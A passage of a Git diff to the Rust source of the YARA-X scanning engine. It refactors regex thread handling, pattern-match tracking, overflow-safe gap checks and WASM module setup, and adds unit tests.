threads, &mut next_threads); + next_threads.clear(); - if current_pos >= self.scan_limit as usize { - self.threads.clear(); + if current_pos >= scan_limit { + threads.clear(); break; } } @@ -313,7 +322,7 @@ impl<'r> PikeVM<'r> { pub struct EpsilonClosureState { /// Pairs (instruction pointer, repetition count) describing the existing /// threads. - threads: Vec<(usize, u32)>, + threads: Vec, /// This bit array has one bit per possible value of SplitId. If the /// split instruction with SplitId = N is executed, the N-th bit in the /// array is set to 1. @@ -384,20 +393,20 @@ pub(crate) fn epsilon_closure( curr_byte: Option<&u8>, prev_byte: Option<&u8>, state: &mut EpsilonClosureState, - closure: &mut Vec<(usize, u32)>, + closure: &mut Vec, ) { - state.threads.push((start.location(), rep_count)); + state.threads.push((start.location().try_into().unwrap(), rep_count)); state.dirty = true; let is_word_char = |c: u8| c == b'_' || c.is_ascii_alphanumeric(); - let apply_offset = |ip: usize, offset: Offset| -> usize { + let apply_offset = |ip: u32, offset: Offset| -> u32 { (ip as isize).saturating_add(offset.into()).try_into().unwrap() }; while let Some((ip, mut rep_count)) = state.threads.pop() { let (instr, instr_size) = InstrParser::decode_instr( - unsafe { code.get_unchecked(ip..) }, + unsafe { code.get_unchecked(ip as usize..) }, false, ); match instr { @@ -619,7 +628,7 @@ pub(crate) fn epsilon_closure( (false, Some(p), Some(c)) | (true, Some(c), Some(p)) => { is_word_char(*p) && !is_word_char(*c) } - (false, Some(p), None) | (true, Some(p), None) => { + (false, Some(p), None) | (true, None, Some(p)) => { is_word_char(*p) } _ => false, @@ -631,6 +640,36 @@ pub(crate) fn epsilon_closure( )); } } + Instr::WordStartHalf => { + let is_match = match (start.backwards(), prev_byte, curr_byte) + { + (false, None, _) | (true, _, None) => true, + (false, Some(b), _) | (true, _, Some(b)) => { + !is_word_char(*b) + } + }; + if is_match { + state.threads.push(( + apply_offset(ip, instr_size.into()), + rep_count, + )); + } + } + Instr::WordEndHalf => { + let is_match = match (start.backwards(), prev_byte, curr_byte) + { + (false, _, None) | (true, None, _) => true, + (false, _, Some(b)) | (true, Some(b), _) => { + !is_word_char(*b) + } + }; + if is_match { + state.threads.push(( + apply_offset(ip, instr_size.into()), + rep_count, + )); + } + } Instr::WordBoundary | Instr::WordBoundaryNeg => { let mut is_match = match (prev_byte, curr_byte) { (Some(p), Some(c)) => is_word_char(*p) != is_word_char(*c), diff --git a/lib/src/re/thompson/tests.rs b/lib/src/re/thompson/tests.rs index d7b8773b6..85da9698d 100644 --- a/lib/src/re/thompson/tests.rs +++ b/lib/src/re/thompson/tests.rs @@ -29,7 +29,7 @@ macro_rules! assert_re_code { epsilon_closure( fwd_code.as_ref(), - FwdCodeLoc::try_from(0_usize).unwrap(), + FwdCodeLoc::from(0), 0, None, None, @@ -45,7 +45,7 @@ macro_rules! assert_re_code { let mut bck_closure = Vec::new(); epsilon_closure( bck_code.as_ref(), - BckCodeLoc::try_from(0_usize).unwrap(), + BckCodeLoc::from(0), 0, None, None, @@ -89,6 +89,23 @@ macro_rules! assert_re_num_atoms { }}; } +#[test] +fn class_representation_threshold() { + let compile = |regexp| { + let parser = re::parser::Parser::new(); + Compiler::new() + .compile_internal( + &parser.parse(&Regexp::new(format!("/{regexp}/s"))).unwrap(), + ) + .unwrap() + .0 + .to_string() + }; + + assert!(compile("[a-ce-gi]").contains("CLASS_RANGES")); + assert!(compile("[a-ce-gik]").contains("CLASS_BITMAP")); +} + #[test] fn re_code_1() { assert_re_code!( diff --git a/lib/src/scanner/context.rs b/lib/src/scanner/context.rs index 57fac1903..2bcf411a4 100644 --- a/lib/src/scanner/context.rs +++ b/lib/src/scanner/context.rs @@ -5,6 +5,7 @@ use std::iter; use std::mem::{MaybeUninit, transmute}; #[cfg(feature = "rules-profiling")] use std::ops::AddAssign; +use std::ops::ControlFlow; use std::ops::{Deref, Range}; use std::pin::Pin; use std::ptr::NonNull; @@ -16,11 +17,12 @@ use std::{cmp, mem, thread}; use base64::Engine; use bitvec::order::Lsb0; use bitvec::slice::BitSlice; +use bitvec::vec::BitVec; use bstr::{BString, ByteSlice}; use indexmap::IndexMap; use protobuf::{MessageDyn, MessageFull}; use regex_automata::meta::Regex; -use rustc_hash::{FxHashMap, FxHashSet}; +use rustc_hash::FxHashMap; use smallvec::SmallVec; use crate::compiler::{ @@ -28,20 +30,21 @@ use crate::compiler::{ SubPatternAtom, SubPatternFlags, SubPatternId, }; use crate::errors::VariableError; -use crate::re::Action; use crate::re::fast::FastVM; + use crate::re::hir::ChainedPatternGap; use crate::re::thompson::PikeVM; #[cfg(feature = "rules-profiling")] use crate::scanner::ProfilingData; -use crate::scanner::matches::{Match, PatternMatches, UnconfirmedMatch}; +use crate::scanner::matches::{ + AddResult, Match, PatternMatches, UnconfirmedMatch, +}; use crate::scanner::{DataSnippets, ScanError, ScannedData}; use crate::scanner::{HEARTBEAT_COUNTER, INIT_HEARTBEAT}; use crate::types::{Array, Map, Struct, TypeValue}; use crate::wasm::MATCHING_RULES_BITMAP_BASE; use crate::wasm::runtime::{ - AsContext, AsContextMut, Global, GlobalType, Instance, MemoryType, - Mutability, Store, TypedFunc, Val, ValType, + AsContextMut, Global, Instance, Store, TypedFunc, Val, }; use crate::{Variable, wasm}; @@ -83,7 +86,7 @@ pub(crate) struct MatchTracker<'r> { /// the maximum number of matches or because they are meant to be ignored /// during this scan because they belong to some rule that we know that /// can't match. - pub disabled_patterns: FxHashSet, + pub disabled_patterns: BitVec, /// The rules that are being used during the scan. pub compiled_rules: &'r Rules, /// Indicates whether fast mode is enabled. In fast mode the scanner @@ -184,8 +187,7 @@ pub struct ScanContext<'r, 'd> { /// automata lazily upon the very first match request and preserves the /// compiled automata across all subsequent scans performed by the /// scanner instance. - pub(crate) regex_set_cache: - RefCell>, + pub(crate) regex_set_cache: RefCell>>, /// Engines for custom base64 alphabets used by base64 string modifiers. /// /// These engines are derived from rule literals and reused across scans. @@ -330,11 +332,18 @@ impl ScanContext<'_, '_> { set_id: crate::compiler::RegexSetId, haystack: &[u8], ) -> bool { - let mut automata_cache = self.regex_set_cache.borrow_mut(); - let regex_set = automata_cache + if let Some(regex_set) = self + .regex_set_cache + .borrow_mut() .entry(set_id) - .or_insert_with(|| self.compiled_rules.get_regex_set(set_id)); - regex_set.is_match(haystack) + .or_insert_with(|| self.compiled_rules.get_regex_set(set_id)) + { + return regex_set.is_match(haystack); + } + + self.compiled_rules.get_regex_set_ids(set_id).is_some_and(|re_ids| { + re_ids.iter().any(|&re_id| self.regexp_matches(re_id, haystack)) + }) } /// Returns the protobuf struct produced by a module. @@ -377,12 +386,12 @@ impl ScanContext<'_, '_> { let variable: Variable = value.try_into()?; let type_value: TypeValue = variable.into(); // The new type must match the old one. - if type_value.eq_type(&field.type_value) { - field.type_value = type_value; + if type_value.eq_type(field.type_value()) { + *field.type_value_mut() = type_value; } else { return Err(VariableError::InvalidType { variable: ident.to_string(), - expected_type: field.type_value.ty().to_string(), + expected_type: field.type_value().ty().to_string(), actual_type: type_value.ty().to_string(), }); } @@ -566,7 +575,7 @@ impl ScanContext<'_, '_> { self.runtime_objects.clear(); // Clear the set that tracks the patterns that has been disabled. - self.tracker.disabled_patterns.clear(); + self.tracker.disabled_patterns.fill(false); self.tracker.unconfirmed_matches.clear(); self.num_matching_private_rules = 0; @@ -654,7 +663,7 @@ impl ScanContext<'_, '_> { thread::sleep(Duration::from_secs(1)); wasm::get_engine().increment_epoch(); HEARTBEAT_COUNTER - .fetch_update( + .try_update( Ordering::SeqCst, Ordering::SeqCst, |x| Some(x + 1), @@ -744,7 +753,7 @@ impl ScanContext<'_, '_> { let rule = self.compiled_rules.get(rule_id); #[cfg(feature = "logging")] - log::info!( + log::debug!( "Rule match: {}:{} {:?}", self.compiled_rules .ident_pool() @@ -797,24 +806,37 @@ impl ScanContext<'_, '_> { // Use the Teddy algorithm if it was possible to create a Teddy // matcher and the data being scanned is long enough. Some(teddy) if data.len() >= teddy.minimum_len() => { - if HEARTBEAT_COUNTER.load(Ordering::Relaxed) >= self.deadline { - return Err(ScanError::Timeout); - } - teddy.find_overlapping(data, 0, &mut |m| { - #[cfg(feature = "logging")] - { - atom_matches += 1; - } - let match_offset = - m.start() as usize - data.as_ptr() as usize; + match teddy.find_overlapping( + data, + 0, + |m| -> ControlFlow { + if HEARTBEAT_COUNTER.load(Ordering::Relaxed) + >= self.deadline + { + return ControlFlow::Break(ScanError::Timeout); + } + #[cfg(feature = "logging")] + { + atom_matches += 1; + } + let match_offset = + m.start() as usize - data.as_ptr() as usize; + + self.handle_atom_match( + m.pattern() as usize, + match_offset, + base, + data, + ); - self.handle_atom_match( - m.pattern() as usize, - match_offset, - base, - data, - ); - }); + ControlFlow::Continue(()) + }, + ) { + ControlFlow::Continue(_) => {} + ControlFlow::Break(err) => { + return Err(err); + } + } } // Otherwise use the Aho-Corasick algorithm. _ => { @@ -850,7 +872,7 @@ impl ScanContext<'_, '_> { atom_idx: usize, match_start: usize, base: usize, - data: &[u8], + scanned_data: &[u8], ) { let atoms = self.compiled_rules.atoms(); let atom = unsafe { atoms.get_unchecked(atom_idx) }; @@ -870,7 +892,7 @@ impl ScanContext<'_, '_> { let (pattern_id, sub_pattern) = &self.compiled_rules.get_sub_pattern(sub_pattern_id); - if self.tracker.disabled_patterns.contains(pattern_id) { + if self.tracker.disabled_patterns[usize::from(*pattern_id)] { return; } @@ -892,7 +914,7 @@ impl ScanContext<'_, '_> { let match_range = atom_pos..atom_pos + atom.len(); - if verify_full_word(data, &match_range, *flags, None) { + if verify_full_word(scanned_data, &match_range, *flags, None) { handle_sub_pattern_match( &mut self.tracker, &mut self.wasm, @@ -926,11 +948,11 @@ impl ScanContext<'_, '_> { | SubPattern::LiteralChainTail { pattern, flags, .. } => { let pattern = self .compiled_rules - .lit_pool() + .literal_pool() .get_bytes(*pattern) .unwrap(); - if verify_literal(pattern, data, atom_pos, *flags) { + if verify_literal(pattern, scanned_data, atom_pos, *flags) { handle_sub_pattern_match( &mut self.tracker, &mut self.wasm, @@ -945,24 +967,33 @@ impl ScanContext<'_, '_> { SubPattern::LiteralWithMask { pattern, mask, flags } => { let pattern = self .compiled_rules - .lit_pool() + .literal_pool() .get_bytes(*pattern) .unwrap(); - let mask = - self.compiled_rules.lit_pool().get_bytes(*mask).unwrap(); + let mask = self + .compiled_rules + .literal_pool() + .get_bytes(*mask) + .unwrap(); debug_assert_eq!(pattern.len(), mask.len()); - if let Some(data) = - data.get(atom_pos..atom_pos + pattern.len()) - && verify_literal_with_mask(data, pattern, mask) - { - let match_range = atom_pos..atom_pos + pattern.len(); - if !flags.intersects( - SubPatternFlags::FullwordLeft - | SubPatternFlags::FullwordRight, - ) || verify_full_word(data, &match_range, *flags, None) + let match_range = atom_pos..atom_pos + pattern.len(); + + match scanned_data.get(match_range.start..match_range.end) { + Some(match_data) + if verify_literal_with_mask( + match_data, pattern, mask, + ) && (!flags.intersects( + SubPatternFlags::FullwordLeft + | SubPatternFlags::FullwordRight, + ) || verify_full_word( + scanned_data, + &match_range, + *flags, + None, + )) => { handle_sub_pattern_match( &mut self.tracker, @@ -973,13 +1004,14 @@ impl ScanContext<'_, '_> { Match::new(match_range).rebase(base), ); } - } + _ => {} + }; } SubPattern::Regexp { flags, .. } | SubPattern::RegexpChainHead { flags, .. } | SubPattern::RegexpChainTail { flags, .. } => verify_regexp( &mut self.vm, - data, + scanned_data, atom_pos, atom, *flags, @@ -998,12 +1030,12 @@ impl ScanContext<'_, '_> { SubPattern::Xor { pattern, flags } => { let pattern = self .compiled_rules - .lit_pool() + .literal_pool() .get_bytes(*pattern) .unwrap(); if let Some(key) = - verify_xor(pattern, data, atom_pos, atom, *flags) + verify_xor(pattern, scanned_data, atom_pos, atom, *flags) { handle_sub_pattern_match( &mut self.tracker, @@ -1022,10 +1054,10 @@ impl ScanContext<'_, '_> { | SubPattern::Base64Wide { pattern, padding } => { if let Some(match_range) = verify_base64( self.compiled_rules - .lit_pool() + .literal_pool() .get_bytes(*pattern) .unwrap(), - data, + scanned_data, (*padding).into(), atom_pos, &base64::engine::general_purpose::STANDARD_NO_PAD, @@ -1051,7 +1083,7 @@ impl ScanContext<'_, '_> { alphabet_id, || { let alphabet = compiled_rules - .lit_pool() + .literal_pool() .get_str(*alphabet) .unwrap(); let alphabet = @@ -1065,10 +1097,10 @@ impl ScanContext<'_, '_> { if let Some(match_range) = verify_base64( self.compiled_rules - .lit_pool() + .literal_pool() .get_bytes(*pattern) .unwrap(), - data, + scanned_data, (*padding).into(), atom_pos, base64_engine, @@ -1133,7 +1165,9 @@ impl ScanContext<'_, '_> { let filesize = self.get_filesize(); for (pattern_id, bounds) in self.compiled_rules.filesize_bounds() { if !bounds.contains(filesize) { - self.tracker.disabled_patterns.insert(*pattern_id); + self.tracker + .disabled_patterns + .set(usize::from(*pattern_id), true); } } } @@ -1143,7 +1177,9 @@ impl ScanContext<'_, '_> { self.compiled_rules.header_constraints() { if !constraints.is_satisfied(data) { - self.tracker.disabled_patterns.insert(*pattern_id); + self.tracker + .disabled_patterns + .set(usize::from(*pattern_id), true); } } } @@ -1200,7 +1236,7 @@ impl ScanContext<'_, '_> { .iter() .map(|id| (id, self.compiled_rules.get_sub_pattern(*id))) { - if self.tracker.disabled_patterns.contains(pattern_id) { + if self.tracker.disabled_patterns[usize::from(*pattern_id)] { continue; } match sub_pattern { @@ -1216,7 +1252,7 @@ impl ScanContext<'_, '_> { if let (offset, false) = offset.overflowing_sub(base) { let pattern = self .compiled_rules - .lit_pool() + .literal_pool() .get_bytes(*pattern) .unwrap(); @@ -1247,7 +1283,9 @@ fn verify_literal( flags: SubPatternFlags, ) -> bool { // Offset where the match should end (exclusive). - let match_end = match_start + pattern.len(); + let Some(match_end) = match_start.checked_add(pattern.len()) else { + return false; + }; // The match can not end past the end of the scanned data. if match_end > scanned_data.len() { @@ -1438,7 +1476,7 @@ fn verify_chain_of_matches( match &tracker.compiled_rules.get_sub_pattern(id).1 { SubPattern::LiteralChainHead { flags, .. } | SubPattern::RegexpChainHead { flags, .. } => { - track_pattern_match( + track_match( tracker, wasm_state, pattern_id, @@ -1476,20 +1514,15 @@ fn verify_chain_of_matches( }; for m in unconfirmed_matches { - let in_range = match gap { - ChainedPatternGap::Bounded(gap) => { - let min_gap = *gap.start() as usize; - let max_gap = *gap.end() as usize; - (m.range.end + min_gap..=m.range.end + max_gap) - .contains(¤t_match.range.start) - } - ChainedPatternGap::Unbounded(gap) => { - let min_gap = gap.start as usize; - (m.range.end + min_gap..) - .contains(¤t_match.range.start) - } - }; - if in_range && m.chain_length <= current_match.chain_length + // Compute the byte distance between the end of the previous + // sub-pattern match (`m`) and the start of `current_match`. + // Using `checked_sub` both ignores overlapping/later matches + // (`current_match.range.start < m.range.end`) and avoids + // `m.range.end + gap` overflowing `usize` on large jumps. + if let Some(actual_gap) = + current_match.range.start.checked_sub(m.range.end) + && gap.contains(actual_gap) + && m.chain_length <= current_match.chain_length { m.chain_length = current_match.chain_length + 1; queue.push_back((*chained_to, m.clone())) @@ -1536,9 +1569,9 @@ fn verify_regexp( |match_len| { fwd_match_len = Some(match_len); if flags.contains(SubPatternFlags::GreedyRegexp) { - Action::Continue + ControlFlow::Continue(()) } else { - Action::Stop + ControlFlow::Break(()) } }, ); @@ -1550,7 +1583,7 @@ fn verify_regexp( flags.contains(SubPatternFlags::Wide), |match_len| { fwd_match_len = Some(match_len); - Action::Stop + ControlFlow::Break(()) }, ); } @@ -1575,7 +1608,7 @@ fn verify_regexp( if verify_full_word(scanned_data, &range, flags, None) { f(range); } - Action::Continue + ControlFlow::Continue(()) }, ); } else { @@ -1590,7 +1623,7 @@ fn verify_regexp( if verify_full_word(scanned_data, &range, flags, None) { f(range); } - Action::Continue + ControlFlow::Continue(()) }, ); } @@ -1849,12 +1882,10 @@ fn handle_sub_pattern_match( | SubPattern::Base64Wide { .. } | SubPattern::CustomBase64 { .. } | SubPattern::CustomBase64Wide { .. } => { - track_pattern_match( - tracker, wasm_state, pattern_id, match_, false, - ); + track_match(tracker, wasm_state, pattern_id, match_, false); } SubPattern::Regexp { flags, .. } => { - track_pattern_match( + track_match( tracker, wasm_state, pattern_id, @@ -1863,11 +1894,13 @@ fn handle_sub_pattern_match( ); } SubPattern::LiteralChainHead { .. } - | SubPattern::RegexpChainHead { .. } => tracker - .unconfirmed_matches - .entry(sub_pattern_id) - .or_default() - .push(UnconfirmedMatch { range: match_.range, chain_length: 0 }), + | SubPattern::RegexpChainHead { .. } => { + track_unconfirmed_match( + tracker, + sub_pattern_id, + UnconfirmedMatch { range: match_.range, chain_length: 0 }, + ); + } SubPattern::LiteralChainTail { chained_to, gap, flags, .. } | SubPattern::RegexpChainTail { chained_to, gap, flags, .. } => { if within_valid_distance( @@ -1885,21 +1918,53 @@ fn handle_sub_pattern_match( match_, ); } else { - tracker - .unconfirmed_matches - .entry(sub_pattern_id) - .or_default() - .push(UnconfirmedMatch { + track_unconfirmed_match( + tracker, + sub_pattern_id, + UnconfirmedMatch { range: match_.range, chain_length: 0, - }); + }, + ); } } } } } -fn track_pattern_match( +#[inline] +fn track_unconfirmed_match( + tracker: &mut MatchTracker, + sub_pattern_id: SubPatternId, + unconfirmed_match: UnconfirmedMatch, +) { + let unconfirmed_matches = + tracker.unconfirmed_matches.entry(sub_pattern_id).or_default(); + + unconfirmed_matches.push(unconfirmed_match); + + #[cfg(feature = "logging")] + if unconfirmed_matches.len() % 100_000 == 0 { + let (rule, pattern) = tracker + .compiled_rules + .get_rule_and_pattern_by_sub_pattern_id(sub_pattern_id) + .unwrap(); + + log::warn!( + "Pattern `{}` in rule `{}:{}` grew to {} unconfirmed matches", + tracker.compiled_rules.ident_pool().get(pattern.ident_id).unwrap(), + tracker + .compiled_rules + .ident_pool() + .get(rule.namespace_ident_id) + .unwrap(), + tracker.compiled_rules.ident_pool().get(rule.ident_id).unwrap(), + unconfirmed_matches.len() + ); + } +} + +fn track_match( tracker: &mut MatchTracker, wasm_state: &mut WasmState, pattern_id: PatternId, @@ -1918,16 +1983,61 @@ fn track_pattern_match( bits.set(pattern_id.into(), true); - let added = - tracker.pattern_matches.add(pattern_id, match_, replace_if_longer); - if !added - || (tracker.fast_scan - && tracker.compiled_rules.is_fast_scan(pattern_id)) - { - tracker.disabled_patterns.insert(pattern_id); + let mut disable_pattern = false; + + match tracker.pattern_matches.add(pattern_id, match_, replace_if_longer) { + AddResult::Inserted(current_matches) => { + #[cfg(feature = "logging")] + if current_matches % 100_000 == 0 { + let (rule, pattern) = tracker + .compiled_rules + .get_rule_and_pattern_by_pattern_id(pattern_id) + .unwrap(); + + log::warn!( + "Pattern `{}` in rule `{}:{}` grew to {} matches", + tracker + .compiled_rules + .ident_pool() + .get(pattern.ident_id) + .unwrap(), + tracker + .compiled_rules + .ident_pool() + .get(rule.namespace_ident_id) + .unwrap(), + tracker + .compiled_rules + .ident_pool() + .get(rule.ident_id) + .unwrap(), + current_matches + ); + } + // If we are in fast-scan mode, and the current number of matches + // for the pattern already equals or exceeds maximum matches, then + // the pattern can be disabled. + if tracker.fast_scan + && let Some(max_matches) = + tracker.compiled_rules.fast_scan_max_matches(pattern_id) + && current_matches >= max_matches.get() as usize + { + disable_pattern = true; + } + } + AddResult::MaxMatchesReached => { + disable_pattern = true; + } + AddResult::Updated => {} + } + + if disable_pattern { + tracker.disabled_patterns.set(usize::from(pattern_id), true); } } +/// Returns true if `match_start` falls within the allowed `gap` after the end +/// of at least one unconfirmed match for `chained_to`. fn within_valid_distance( tracker: &MatchTracker, chained_to: SubPatternId, @@ -1938,23 +2048,11 @@ fn within_valid_distance( tracker.unconfirmed_matches.get(&chained_to) { for m in unconfirmed_matches { - match gap { - ChainedPatternGap::Bounded(gap) => { - let min_gap = *gap.start() as usize; - let max_gap = *gap.end() as usize; - if (m.range.end + min_gap..=m.range.end + max_gap) - .contains(&match_start) - { - return true; - } - } - ChainedPatternGap::Unbounded(gap) => { - let min_gap = gap.start as usize; - if (m.range.start + min_gap..).contains(&match_start) { - return true; - } - } - }; + if let Some(actual_gap) = match_start.checked_sub(m.range.end) + && gap.contains(actual_gap) + { + return true; + } } } @@ -2056,6 +2154,8 @@ impl From for RuntimeObjectHandle { pub fn create_wasm_store_and_ctx<'r>( rules: &'r Rules, ) -> Pin>>> { + crate::init_logger(); + let num_rules = rules.num_rules() as u32; let num_patterns = rules.num_patterns() as u32; @@ -2085,7 +2185,7 @@ pub fn create_wasm_store_and_ctx<'r>( tracker: MatchTracker { pattern_matches: PatternMatches::new(), unconfirmed_matches: FxHashMap::default(), - disabled_patterns: FxHashSet::default(), + disabled_patterns: BitVec::repeat(false, num_patterns as usize), compiled_rules: rules, fast_scan: false, }, @@ -2133,24 +2233,12 @@ pub fn create_wasm_store_and_ctx<'r>( wasm_store.data_mut().wasm.store = NonNull::from(wasm_store.as_ref().deref()); - // Global variable that will hold the value for `filesize`. This is - // initialized to -1 (which means undefined) because the file size - // is not known until some data is scanned. - let filesize = Global::new( - wasm_store.as_context_mut(), - GlobalType::new(ValType::I64, Mutability::Var), - Val::I64(-1), - ) - .unwrap(); - - // Global variable that is set to `true` when the Aho-Corasick pattern - // search phase has been executed. - let pattern_search_done = Global::new( - wasm_store.as_context_mut(), - GlobalType::new(ValType::I32, Mutability::Var), - Val::I32(0), - ) - .unwrap(); + // Instantiate the module. This takes the wasm code provided by the + // `wasm_mod` function and links its imported functions with the + // implementations that YARA provides. + let wasm_instance = wasm::get_linker() + .instantiate(wasm_store.as_context_mut(), rules.wasm_mod()) + .unwrap(); // Compute the base offset for the bitmap that contains matching // information for patterns. This bitmap has 1 bit per pattern, the @@ -2166,43 +2254,36 @@ pub fn create_wasm_store_and_ctx<'r>( 65536, ); - let matching_patterns_bitmap_base = Global::new( - wasm_store.as_context_mut(), - GlobalType::new(ValType::I32, Mutability::Const), - Val::I32(matching_patterns_bitmap_base as i32), - ) - .unwrap(); + // The main memory and the global variables are defined and exported by + // the module itself, see `WasmModuleBuilder::new`. + let main_memory = wasm_instance + .get_memory(wasm_store.as_context_mut(), "main_memory") + .unwrap(); - // Create module's main memory. - let main_memory = wasm::runtime::Memory::new( - wasm_store.as_context_mut(), - MemoryType::new(mem_size, Some(mem_size)), - ) - .unwrap(); + if mem_size > 1 { + main_memory + .grow(wasm_store.as_context_mut(), (mem_size - 1) as u64) + .unwrap(); + } - // Instantiate the module. This takes the wasm code provided by the - // `wasm_mod` function and links its imported functions with the - // implementations that YARA provides. - let wasm_instance = wasm::new_linker() - .define(wasm_store.as_context(), "yara_x", "filesize", filesize) - .unwrap() - .define( - wasm_store.as_context(), - "yara_x", - "pattern_search_done", - pattern_search_done, - ) - .unwrap() - .define( - wasm_store.as_context(), - "yara_x", + wasm_instance + .get_global( + wasm_store.as_context_mut(), "matching_patterns_bitmap_base", - matching_patterns_bitmap_base, ) .unwrap() - .define(wasm_store.as_context(), "yara_x", "main_memory", main_memory) - .unwrap() - .instantiate(wasm_store.as_context_mut(), rules.wasm_mod()) + .set( + wasm_store.as_context_mut(), + Val::I32(matching_patterns_bitmap_base as i32), + ) + .unwrap(); + + let filesize = wasm_instance + .get_global(wasm_store.as_context_mut(), "filesize") + .unwrap(); + + let pattern_search_done = wasm_instance + .get_global(wasm_store.as_context_mut(), "pattern_search_done") .unwrap(); // Obtain a reference to the "main" function exported by the module. @@ -2220,3 +2301,18 @@ pub fn create_wasm_store_and_ctx<'r>( wasm_store } + +#[cfg(test)] +mod tests { + use super::{SubPatternFlags, verify_literal}; + + #[test] + fn verify_literal_overflow() { + assert!(!verify_literal( + b"ab", + b"abcdef", + usize::MAX, + SubPatternFlags::empty(), + )); + } +} diff --git a/lib/src/scanner/matches.rs b/lib/src/scanner/matches.rs index 53c5a4e74..bffb909f9 100644 --- a/lib/src/scanner/matches.rs +++ b/lib/src/scanner/matches.rs @@ -69,16 +69,19 @@ impl MatchList { /// is false, the existing match will remain untouched and the new one will /// be ignored. /// + /// Returns `true` if a new match was added to the list, or `false` if an + /// existing match was updated or ignored. + /// /// This operation is O(1) in the most common case, which is inserting /// the new match at an offset that is higher than those from previous /// matches. - pub fn add(&mut self, new_match: Match, replace_if_longer: bool) { + pub fn add(&mut self, new_match: Match, replace_if_longer: bool) -> bool { match self.matches.last_mut() { // The new match starts at some offset greater than the offset of // the last match, we can simply push the new match at the end. Some(last) if new_match.range.start > last.range.start => { self.matches.push(new_match); - return; + true } // The new match starts has the same offset as the last match. We // only need to update its end position when replace_if_longer is @@ -87,34 +90,38 @@ impl MatchList { if replace_if_longer { last.range.end = new_match.range.end; } - return; + false } // No matches so far, the match is first one. None => { self.matches.push(new_match); - return; + true } - _ => {} - } - // If not at the end, use binary search to find the insertion point. - match self - .matches - .binary_search_by_key(&new_match.range.start, |m| m.range.start) - { - // Found, and replace_if_longer is true. - Ok(index) if replace_if_longer => { - let existing_match = &mut self.matches[index]; - if existing_match.range.end < new_match.range.end { - existing_match.range.end = new_match.range.end; + _ => { + // If not at the end, use binary search to find the insertion point. + match self + .matches + .binary_search_by_key(&new_match.range.start, |m| { + m.range.start + }) { + // Found, and replace_if_longer is true. + Ok(index) if replace_if_longer => { + let existing_match = &mut self.matches[index]; + if existing_match.range.end < new_match.range.end { + existing_match.range.end = new_match.range.end; + } + false + } + // Not found, insert at the corresponding position. + Err(index) => { + self.matches.insert(index, new_match); + true + } + // Found, but replace_if_longer is false, do nothing and keep the + // existing match. + _ => false, } } - // Not found, insert at the corresponding position. - Err(index) => { - self.matches.insert(index, new_match); - } - // Found, but replace_if_longer is false, do nothing and keep the - // existing match. - _ => {} } } @@ -124,15 +131,24 @@ impl MatchList { } /// Returns the number of matches that start within the given range. - pub fn matches_in_range(&self, range: RangeInclusive) -> i64 { + pub fn matches_in_range(&self, range: RangeInclusive) -> i64 { + let start = *range.start(); + let end = *range.end(); + // If the end of the range is negative there can't be any matches in // that range. - if range.end().is_negative() { + if end.is_negative() { return 0; } - let start: usize = (*range.start()).try_into().unwrap_or(0); - let end: usize = (*range.end()).try_into().unwrap(); + // If start is negative, make it 0. No match can exist in the range + // (-X,0). + let start = start.max(0); + + // Convert to usize, saturating to `usize::MAX` if the value is + // larger. + let start: usize = start.try_into().unwrap_or(usize::MAX); + let end: usize = end.try_into().unwrap_or(usize::MAX); // Find the index of the match that starts at `start`, or the index // where it should be. Any match starting at some offset >= `start`, @@ -213,6 +229,16 @@ pub struct UnconfirmedMatch { pub chain_length: usize, } +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum AddResult { + /// A new match was inserted into the list, growing it to the given length. + Inserted(usize), + /// An existing match was updated or ignored (list length did not increase). + Updated, + /// Pattern has reached `max_matches_per_pattern` limit and the match was rejected. + MaxMatchesReached, +} + /// A hash map that tracks matches for each pattern. /// /// Each key in this map is a [`PatternId`], and its associated value is a @@ -288,33 +314,37 @@ impl PatternMatches { /// replaced. If the argument is `false` the new match will be ignored and /// the existing one will remain. /// - /// This function returns `true` if the new match was added, or `false` - /// if the pattern already reached the maximum number of matches and - /// therefore the new match was not added. + /// Returns [`AddResult`] indicating whether a new match was inserted, an + /// existing match was updated, or the maximum match limit was reached. pub fn add( &mut self, pattern_id: PatternId, m: Match, replace_if_longer: bool, - ) -> bool { + ) -> AddResult { match self.matches.entry(pattern_id) { Entry::Occupied(mut entry) => { let matches = entry.get_mut(); if matches.len() < self.max_matches_per_pattern { self.capacity -= matches.capacity(); - matches.add(m, replace_if_longer); + let inserted = matches.add(m, replace_if_longer); self.capacity += matches.capacity(); - true + if inserted { + AddResult::Inserted(matches.len()) + } else { + AddResult::Updated + } } else { - false + AddResult::MaxMatchesReached } } Entry::Vacant(entry) => { let mut matches = MatchList::with_capacity(8); self.capacity += matches.capacity(); matches.add(m, replace_if_longer); + let len = matches.len(); entry.insert(matches); - true + AddResult::Inserted(len) } } } @@ -328,7 +358,7 @@ impl PatternMatches { #[cfg(test)] mod test { - use crate::scanner::matches::{Match, MatchList}; + use crate::scanner::matches::{Match, MatchList, PatternMatches}; use std::ops::Range; #[test] @@ -347,4 +377,24 @@ mod test { vec![(1..15), (2..10), (3..10), (4..10), (5..10)] ) } + + #[test] + fn match_list_growth() { + let mut ml = MatchList::with_capacity(10_000); + for i in 0..10_000 { + ml.add(Match::new(i..i + 1), false); + } + assert_eq!(ml.len(), 10_000); + } + + #[test] + fn pattern_matches_growth() { + use crate::compiler::PatternId; + let mut pm = PatternMatches::new(); + let pid = PatternId::from(0); + for i in 0..10_000 { + pm.add(pid, Match::new(i..i + 1), false); + } + assert_eq!(pm.get(pid).unwrap().len(), 10_000); + } } diff --git a/lib/src/scanner/mod.rs b/lib/src/scanner/mod.rs index cb8bd44b8..66e5167e9 100644 --- a/lib/src/scanner/mod.rs +++ b/lib/src/scanner/mod.rs @@ -573,9 +573,11 @@ impl<'r> Scanner<'r> { size = std::cmp::min(size, max_scan_size); } - // For files smaller than ~500MB reading the whole file is faster than - // using a memory-mapped file. - let data = if self.use_mmap && size > 500_000_000 { + // For files smaller than ~32MB reading the whole file is faster than + // using a memory-mapped file. This may vary depending on the operating + // system and CPU cache size, but it is a good enough threshold in most + // cases. + let data = if self.use_mmap && size > 32_000_000 { let mapped_file = unsafe { MmapOptions::new().map_copy_read_only(&file).map_err(|err| { ScanError::MapError { path: path.to_path_buf(), err } @@ -656,25 +658,21 @@ impl<'r> Scanner<'r> { { module_output = Some(output); } else if let Some(main_res) = module.main_fn(&mut mod_ctx, data) { - module_output = - Some(main_res.map_err(|err| ScanError::ModuleError { + let output = + main_res.map_err(|err| ScanError::ModuleError { module: module_name.to_string(), err, - })?); - } else { - module_output = None; - } + })?; - if let Some(module_output) = &module_output { // Make sure that the module is returning a protobuf message of // the expected type. 